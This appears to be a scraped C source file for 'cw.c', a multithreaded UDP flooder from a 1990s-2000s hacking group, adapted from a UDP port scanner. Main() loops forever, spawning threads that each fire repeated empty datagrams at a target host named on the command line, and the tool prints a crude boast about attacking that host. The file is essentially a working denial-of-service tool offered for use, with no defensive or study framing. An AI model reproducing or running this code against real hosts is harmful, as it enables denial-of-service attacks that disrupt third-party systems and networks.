| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. | /* cw.c * a udp flooder that doesnt need root, based off udp-bitchslap.c * cw.c By NTFX * Legion2000 Security Research 1996 - 2002 * Contact: [email protected] * * "Multithreaded cw" * gcc -o cw cw.c -lpthread * lgcc -o cw cw.c -lpthread */ #include <errno.h> #include <netdb.h> #include <pthread.h> #include <stdio.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> void usage (char *program); void *scanport (void *arg); char *elapsed (struct timeval first, struct timeval second); struct sockaddr_in s_in; FILE *out; pthread_mutex_t varlock = PTHREAD_MUTEX_INITIALIZER; pthread_t threadid; int numthreads = 0, done = 0, ready = 0; u_short lower, upper; #define MAXTHREADS 256 /* The maximum number of concurrent threads available */ #define TIMEOUT 0 #define NUMRETRIES 100 /* Number of times to retry when no error or datagram is received in reply */ void usage (char *program) { fprintf (stderr, "Invalid usage; please try: ./cw <desthost>\n"); exit (-1); } /* Our scanning method really kinda sucks, but its the best we can do, * due to various limitations in the protocol itself. If a host or * its routers return no data for a particular port, the best we can * do is assume that the port is open. If neither a UDP datagram nor * an ICMP error message is returned, we must declare the port open. * This is because some UDP ports dont respond to malformed packets. * If we receive a UDP datagram back, obviously the port is listening. * Last but not least, if the port is in fact closed, and the host is * responsive, the recv() will fail, yielding an errno of ECONNRESET, * corresponding to an ICMP port unreachable message. As we see, some * UDP services such as daytime will send a packet upon receipt of ANY * datagram, but other services such as BIND will only respond to a * legitimate DNS packet, thus effectively always timing out. * As we all know, UDP is an unreliable protocol, so two probes will * be sent to a port that times out, just to ensure that the packet * was not dropped, misrouted, or lost in transit. * NOTE: If you scan your localhost there might be a misleading * collision caused by a packet that is sent to one of the very same * UDP sockets that you are scanning from :) */ void * scanport (void *arg) { struct sockaddr_in mys_in = s_in; struct servent *se; struct timeval tv; fd_set readfd; u_short port; char data[1], *alphaport; int error, udpsocket, counter, open; pthread_mutex_lock (&varlock); numthreads++; pthread_mutex_unlock (&varlock); if ((udpsocket = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; pthread_detach (pthread_self ()); port = (u_short) arg; mys_in.sin_port = htons (port); if (connect (udpsocket, (struct sockaddr *) &mys_in, sizeof ( struct sockaddr_in)) == 0) { for (counter = 0; counter < NUMRETRIES; counter++) { FD_ZERO (&readfd); FD_SET (udpsocket, &readfd); tv.tv_sec = TIMEOUT; tv.tv_usec = 0; send (udpsocket, data, 0, 0); error = select ((udpsocket + 1), &readfd, NULL, NULL, &tv); switch(error) { case (-1): fprintf (stderr, "Select() failed; exiting.\n"); exit (-1); break; case 0: open = 1; break; case 1: open = (recv (udpsocket, data, 0, 0) != -1); break; } if (error != 0) break; /* If error was 0, there was no reply; we retry for a variable number of times */ } if (open) { /* It may seem silly to print to a buffer first, but we must * printf() in one fell swoop to avoid the threads accessing * stdout concurrently and merging their output. */ // alphaport = (char *) malloc (8); // if (error == 0) // snprintf (alphaport, 7, "[%d]", port); // else // snprintf (alphaport, 7, "%d", port); // if ((se = getservbyport (htons (port), "udp")) != NULL) // fprintf (out, " %s (%s),", alphaport, se->s_name); // else // fprintf (out, " %s,", alphaport); } } fflush(out); close (udpsocket); pthread_mutex_lock (&varlock); numthreads--; if (port == upper) done = 1; if ((done) && (!(numthreads))) ready = 1; pthread_mutex_unlock (&varlock); pthread_exit (NULL); return; } int main (int argc, char *argv[]) { pthread_t threadid; struct timeval initial, final; struct hostent *he; u_short inc; if (argc != 2) usage (argv[0]); //if ((!(lower = atoi (argv[2]))) || (!(upper = atoi (argv[3])))) // { // fprintf (stderr, "Invalid lower or upper port specified! Exiting.\n"); // exit(-1); // } if ((he = gethostbyname (argv[1])) == NULL) { fprintf (stderr, "Unable to resolve target host! Exiting.\n"); exit (-1); } memset (&s_in, 0, sizeof (s_in)); s_in.sin_family = AF_INET; memcpy (&s_in.sin_addr.s_addr, he->h_addr, he->h_length); // if (upper < lower) // { inc = 65535;//upper; upper = rand(); //lower; lower = rand(); //inc; // } out = fdopen (fileno (stdout), "w"); fprintf(out, "\nCock whipping host : %s with leet packets ", inet_ntoa (s_in.sin_addr)); fflush (out); gettimeofday (&initial, NULL); /* We've prepped everything, now it's time to scan each host in a loop */ while(1) for (inc = lower - 1; inc<= upper; inc++) { // while (numthreads >= MAXTHREADS) // ; /* A null loop to wait until space is freed */ pthread_create (&threadid, NULL, scanport, (void *) inc); } while (!(ready)) { } /* Another null loop to wait for all scanning to get done */ gettimeofday (&final, NULL); printf ("\nFinished scan for a total of %s seconds.\n", elapsed (initial, final)); } char * elapsed (struct timeval first, struct timeval second) { char *length; /* x.yy Seconds.hundredths */ double a, b, diff; length = (char *) malloc (7); a = first.tv_sec + ((double) (first.tv_usec) / 1000000); b = second.tv_sec + ((double) (second.tv_usec) / 1000000); diff = b - a; snprintf (length, 6, "%2f", diff); return (length); } |